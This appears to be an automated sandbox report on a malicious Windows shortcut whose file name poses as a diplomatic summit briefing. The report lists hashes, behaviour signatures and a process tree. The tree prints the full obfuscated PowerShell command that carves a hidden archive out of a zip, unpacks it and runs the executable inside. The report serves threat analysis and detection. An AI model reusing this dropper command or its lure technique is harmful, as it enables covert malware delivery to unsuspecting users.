2e879dd65f29a3785e37e1cc4c5dfe66e61c71e7304fc9d4fd1cf70fd660fce7

Analysis

max time kernel
149s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 12:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.lnk
Size 2KB
Sample260623-pvbq6scy4m
SHA256 2e879dd65f29a3785e37e1cc4c5dfe66e61c71e7304fc9d4fd1cf70fd660fce7
MD5 b791c416988d068a3e548a0f21cd3518
SHA1 1dd1a423b4bf5c2bad0953873088b2aa5c9a53f8
SHA512 8055c36b76733aeacffdbf728cdea302fe90e5209fe5bba63e39fc4646d452c50da74c2b4961b9e209491e2ad1ceb5d4b3a8a3bf8fd57e27458e55595d9a8acf
TLSH
T1D6416C0526F91711F3F35E36DDBBA2A1893A7ACAE5B5875D308C514A47A02049D17F33
MD5 SHA1 SHA512 TLSH

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5352	powershell.exe
5352	powershell.exe
1904	powershell.exe
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5352	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5468 wrote to memory of 2872	5468	cmd.exe	89
PID 2872 wrote to memory of 5352	2872	cmd.exe	90
PID 5352 wrote to memory of 4864	5352	powershell.exe	91
PID 5352 wrote to memory of 1904	5352	powershell.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C powershell -w h "; [SyStem.IO.File]::OpenReAd($bwqi);($bwqi = (((( lS -Pa $Home -Re -in 'MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.zip'))))[0].directoryname+ '\' +'MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.zip');$iiokw = [SyStem.IO.File]::OpenReAd($bwqi);$yioaok='Writ'+'EAlLb' +'ytEs'; $wcolu = NeW-ObjEct byte[] $iiokw.Length; $iiokw.Read($wcolu, 0, $wcolu.Length); $iiokw.Close();$npm=1029;;;;;[SySTem.IO.FIle]::$yioaok($Home+'\\yqbm.np', $wcolu[$npm..($npm+723456-1)]);;tAR -xvf $Home\yqbm.np -C $Home;Sleep -Seconds 4; powershell $Home\AJ0L-GM-F4A6\CNMNSST.exe;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h "; [SyStem.IO.File]::OpenReAd($bwqi);($bwqi = (((( lS -Pa $Home -Re -in 'MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.zip'))))[0].directoryname+ '\' +'MNE_Readout_Alice_Rufo_Briefing_Ankara_Summit_22Jun2026.zip');$iiokw = [SyStem.IO.File]::OpenReAd($bwqi);$yioaok='Writ'+'EAlLb' +'ytEs'; $wcolu = NeW-ObjEct byte[] $iiokw.Length; $iiokw.Read($wcolu, 0, $wcolu.Length); $iiokw.Close();$npm=1029;;;;;[SySTem.IO.FIle]::$yioaok($Home+'\\yqbm.np', $wcolu[$npm..($npm+723456-1)]);;tAR -xvf $Home\yqbm.np -C $Home;Sleep -Seconds 4; powershell $Home\AJ0L-GM-F4A6\CNMNSST.exe;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5352
  - - C:\Windows\system32\tar.exe
      "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\yqbm.np -C C:\Users\Admin
      4⤵
      PID:4864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AJ0L-GM-F4A6\CNMNSST.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 120c6abb36026dc3f61f075430a1fd8c7068f9b74542306794e7b6d5d46d18c1
MD5 23029eb22c7df0cab8e326c191a77322
SHA1 803cb4c4bd634c4341e37f0372f98f9647b6892c
SHA512 82f493a16bff2044d4898a55682d342d962e1696673146aee11ccce2d3df5168b9542f508b24d80895fb73f4e2e06df0b85ae912c21ffff3393f8465f8d4e447
TLSH
T1B3218933B3CC8614CC8A403A10CEAC1036B687DB809ECFABBB84D544A42F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5352-12-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-13-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-5-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-0-0x00007FF8801BF000-0x00007FF8801C0000-memory.dmp

Download

memory/5352-7-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-8-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-9-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-10-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-2-0x000002AC68950000-0x000002AC68972000-memory.dmp

Download

memory/5352-11-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-6-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-14-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-15-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-16-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-17-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-19-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-20-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-1-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download

memory/5352-26-0x00007FF880030000-0x00007FF8809D4000-memory.dmp

Download